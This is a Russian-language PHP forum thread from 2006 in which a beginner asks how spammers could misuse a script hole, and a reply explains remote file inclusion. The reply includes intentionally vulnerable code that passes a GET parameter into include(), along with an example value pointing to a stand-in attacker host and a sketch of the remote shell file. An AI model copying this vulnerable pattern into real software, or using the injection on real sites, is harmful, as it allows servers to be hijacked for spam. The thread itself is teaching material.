Форум: Форум PHPФорум ApacheФорум Регулярные ВыраженияФорум MySQLHTML+CSS+JavaScriptФорум FlashРазное
Новые темы: 0000000
PHP Puzzles. Авторы: Кузнецов М.В., Симдянов И.В. PHP на примерах (2 издание). Авторы: Кузнецов М.В., Симдянов И.В. Социальная инженерия и социальные хакеры. Авторы: Кузнецов М.В., Симдянов И.В. PHP 5/6. В подлиннике. Авторы: Кузнецов М.В., Симдянов И.В. Программирование. Ступени успешной карьеры. Авторы: Кузнецов М.В., Симдянов И.В.
ВСЕ НАШИ КНИГИ
Консультационный центр SoftTime

Форум PHP

Выбрать другой форум

 

Здравствуйте, Посетитель!

вид форума:
Линейный форум Структурный форум

тема: Защита от спамеров.
 
 автор: tAleks   (24.10.2006 в 15:11)   письмо автору
 
 

На сайте хостера в форуме прочитал, что спамеры через дыру в скрипте могут через мой сайт отправить 100000 писем, за что меня может наказать провайдер.

Объясните мне пожалуйста, как вообще такое возможно, и как от этого защититься.

   
 
 автор: Unkind™   (24.10.2006 в 15:34)   письмо автору
 
   для: tAleks   (24.10.2006 в 15:11)
 

Может хостер имел ввиду, если через дыру будут отправляться спам, хоть Вы это, естественно не хотите, то Ваш ресурс будет все равно заблокирован.

Объясните мне пожалуйста, как вообще такое возможно, и как от этого защититься.
Такое возможно при наличии дыры :))) Как защититься? Не допускать появления дыр, как еще :))
Да и вообще желательно везде делать защиту картинкой, где есть отправка e-mail'а...

   
 
 автор: tAleks   (24.10.2006 в 15:39)   письмо автору
 
   для: Unkind™   (24.10.2006 в 15:34)
 

Я PHP занялся 3 месяца назад.

Объясните мне плиз, что такое дыра, через окотрую можно слать спам. Как она примерно выглядит?

Только давайте без приколов....

   
 
 автор: Unkind™   (24.10.2006 в 16:44)   письмо автору
 
   для: tAleks   (24.10.2006 в 15:39)
 

Ну дыра - это ошибка в коде, позволяющая злоумышленнику каким-то образом навредить Вашему сайту...Не знаю, что там имел ввиду Ваш хостер, но допустим:


<?php
include("headers");

if(isset(
$_GET['case']))
{
$case $_GET['case'];
}
else
{
$case "";
}

switch(
$case)
{
case 
'feedback':
case 
'news'//И т.д.
//"Дыра"
include($case.".php");
break;

default:
include(
"main");
break;
}

include(
"footer");
?>


Если вместо $case подставить http://hacker-site.com/shell, то получится, что будет включена след. страница
include("http://hacker-site.com/shell.php");
В shell.php злоумышленник может написать, например:


<?php
header
("Content-type: text/plane; charset=utf-8");

echo <<< THIS_IS_HACK_CODE
<?php
//Тут код спама...
?>
THIS_IS_HACK_CODE;
?>

   
Rambler's Top100
вверх

Rambler's Top100 Яндекс.Метрика Яндекс цитирования